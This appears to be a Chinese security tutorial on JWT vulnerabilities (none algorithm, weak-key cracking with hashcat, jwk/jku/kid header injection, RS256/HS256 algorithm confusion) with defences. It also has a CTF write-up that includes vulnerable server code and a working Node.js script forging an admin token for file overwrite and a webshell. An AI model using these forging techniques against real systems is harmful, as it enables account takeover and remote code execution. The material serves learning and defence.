初涉JWT
字数 1762 2025-08-24 20:49:22
JWT安全攻防详解
1. JWT基本介绍
JWT(JSON Web Token)是一种开放标准(RFC 7519),用于在各方之间安全地传输信息作为JSON对象。它由三部分组成:
- 标头(Header):包含令牌类型和签名算法
- 有效载荷(Payload):包含声明(claims),即关于实体(通常是用户)和其他数据的声明
- 签名(Signature):用于验证消息在传输过程中没有被更改
格式:Header.Payload.Signature,各部分用英文句号连接,并进行Base64编码。
2. JWT常见安全漏洞
2.1 未经验证的签名
漏洞原因:服务器未验证JWT签名,直接信任令牌内容。
利用方法:
- 获取普通用户的有效JWT
- 修改payload中的用户身份信息(如将"username":"wiener"改为"username":"administrator")
- 使用修改后的令牌访问特权功能
防御措施:始终验证JWT签名。
2.2 签名验证缺陷(None算法攻击)
漏洞原因:当alg参数设置为"none"时,服务器可能不验证签名。
利用方法:
- 修改JWT头部中的alg参数为"none"
- 删除签名部分(保留最后的点)
- 修改payload中的用户身份信息
防御措施:拒绝alg为"none"的JWT,或明确指定允许的算法列表。
2.3 密钥爆破
漏洞原因:使用弱密钥或常见密钥进行签名。
利用工具:
- Hashcat:
hashcat -a 0 -m 16500 <jwt> <wordlist> - 常用字典:jwt-secrets
防御措施:使用强随机密钥,定期更换密钥。
2.4 标头参数注入
2.4.1 JWK(JSON Web Key)注入
漏洞原因:服务器信任嵌入在jwk参数中的密钥。
利用方法:
- 生成RSA密钥对
- 在JWT中添加jwk参数,包含公钥
- 使用私钥签名伪造的JWT
2.4.2 JKU(JWK Set URL)注入
漏洞原因:服务器从攻击者控制的URL获取验证密钥。
利用方法:
- 生成RSA密钥对
- 在攻击者服务器托管包含公钥的JWK Set
- 在JWT中添加jku参数指向恶意JWK Set
- 使用私钥签名伪造的JWT
2.4.3 KID(Key ID)注入
漏洞原因:kid参数未正确验证,可能导致路径遍历或SQL注入。
利用方法:
- 修改kid参数为已知密钥路径(如"../../../../../../../dev/null")
- 使用空密钥签名伪造的JWT
防御措施:严格验证标头参数,限制可接受的密钥来源。
2.5 算法混淆攻击
漏洞原因:服务器同时支持RS256(非对称)和HS256(对称)算法,且公钥可被获取。
利用方法:
- 从服务器获取公钥(如/jwks.json)
- 将JWK转换为PEM格式
- 修改JWT头部alg为HS256
- 使用公钥作为HMAC密钥签名伪造的JWT
防御措施:只使用一种算法类型,或严格分离不同算法的验证逻辑。
3. 实战案例:HackThisBox比赛题目分析
3.1 漏洞分析
题目涉及JWT算法混淆攻击,关键代码:
// api.js - 登录时使用RS256算法签名
var privateKey = fs.readFileSync('./config/private.pem');
router.post('/login', function(req, res, next) {
const token = jwt.sign({ username: req.body.username, isAdmin: false, home: req.body.username }, privateKey, { algorithm: "RS256" });
});
// app.js - 验证时同时允许HS256和RS256
var publicKey = fs.readFileSync('./config/public.pem');
app.use(expressjwt({ secret: publicKey, algorithms: ["HS256", "RS256"]}));
3.2 利用步骤
-
伪造管理员令牌:
- 使用HS256算法,将公钥作为HMAC密钥
- 设置isAdmin为true
- 设置home参数为任意文件写入路径
-
绕过路径过滤:
- 使用URL编码绕过正则过滤(如"routes"编码为"%72%6f%75%74%65%73")
-
任意文件写入:
- 通过文件上传功能覆盖关键文件(如index.js)
- 写入Webshell实现RCE
3.3 完整利用代码
// 伪造JWT的Node.js代码
var express = require('express');
var fs = require("fs")
var jwt = require("jsonwebtoken")
var app = express();
var publicKey = fs.readFileSync('./src/config/public.pem');
app.get('/', function(req, res, next) {
const token = jwt.sign({
username: "admin",
isAdmin: true,
home: {
href: "c",
origin: "c",
protocol: "file:",
hostname: "",
pathname: "/app/%72%6f%75%74%65%73/index.%6a%73" // app/routes/index.js
}
}, publicKey, {algorithm: "HS256"});
res.send({token})
});
var server = app.listen(7000);
4. 防御建议
- 使用强算法(推荐RS256)
- 验证所有JWT签名
- 限制允许的算法列表
- 验证所有标头参数
- 使用适当的密钥管理
- 实施令牌过期机制
- 对敏感操作使用二次验证
5. 工具推荐
-
Burp Suite插件:
- JWT Editor - 方便修改和签名JWT
-
离线工具:
- jwt_tool - JWT测试工具包
- Hashcat - 用于JWT密钥爆破
-
在线工具:
- jwt.io - JWT解码和验证
通过全面理解JWT的工作原理和安全风险,开发人员和安全测试人员可以更好地保护应用程序免受相关攻击。